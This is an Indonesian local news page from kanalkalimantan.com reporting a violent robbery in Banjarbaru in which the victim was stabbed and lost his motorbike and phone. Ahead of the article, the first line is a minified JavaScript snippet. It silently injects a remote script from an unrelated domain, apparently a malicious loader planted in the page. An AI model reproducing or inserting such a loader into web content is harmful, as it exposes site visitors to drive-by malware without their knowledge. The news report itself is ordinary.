(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Diduga kawanan begal beraksi di salah satu kost dekat gang asrama mahasiswa Tabalong, Kelurahan Komet, Kota Banjarbaru, Rabu (9/2/2022) siang.
Seorang laki-laki menjadi korban dengan sejumlah luka di tubuhnya.
Erwin Sanjaya melawan tiga orang diduga begal yang melakukan pencurian kekerasan (Curas). Akibatnya, tubuh Erwin Sanjaya mengalami luka tusuk pada bagian paha kanan dan luka sayat di bagian kepala.
“Dikeroyok tiga orang,” aku Erwin Sanjaya.
Selain mendapat luka tusuk, sepeda motor dan handphone dibawa kabur para terduga pelaku begal.
Menurut korban, dirinya kehilangan HP ketika melakukan pencarian dan berusaha melakukan panggilan telpon, suara atau nada panggil terdengar di tangan salah satu pelaku.
Baca juga : Waspada Omicron, Begini Upaya Pemkab Banjar Antisipasi Lonjakan Kasus Covid-19
Kemudian ketika dirinya ingin mengambil HP tersebut pelaku tidak ingin mengembalikan, berujung perkelahian berdarah.
“Mereka lebih dulu menusuk ke bagian kepala,” katanya.
Kejadian terjadi sekitar pukul 15.40 Wita, setelah kejadian korban sempat berjalan keluar gang dan mencari pertolongan ke jalan raya namun tidak ditemui.
Korban lalu terkapar di depan kantor bank swasta di Jalan A Yani Km 36,5. Kemudian salah satu nasabah bank melihat dan langsung meminta bantuan ke satpam bank tersebut.
“Salah satu nasabah melihat korban, kemudian meminta tolong ke dalam,” ucap salah seorang satpam bank tersebut.
Sementara korban diobati dan ditangani relawan PMI Banjarbaru, kemudian dibawa ke RSD Idaman Banjarbaru.
Baca juga : Pojok Gugatan Mandiri, Layanan Digitalisasi di Pengadilan Agama Banjarbaru
Sementara itu, Kapolres Banjarbaru AKBP Nur Khamid melalui Kasi Humas Polres Banjarbaru AKP Tajudin Noor mengatakan, para petugas piket fungsi dan Sentra Pelayanan Kepolisian Terpadu (SPKT) Polres Banjarbaru sudah melakukan penindakan dan mendatangi TKP diduga pencurian dengan kekerasan.
“Masih menunggu laporan lengkap rekanan yang ada di TKP,” sebutnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.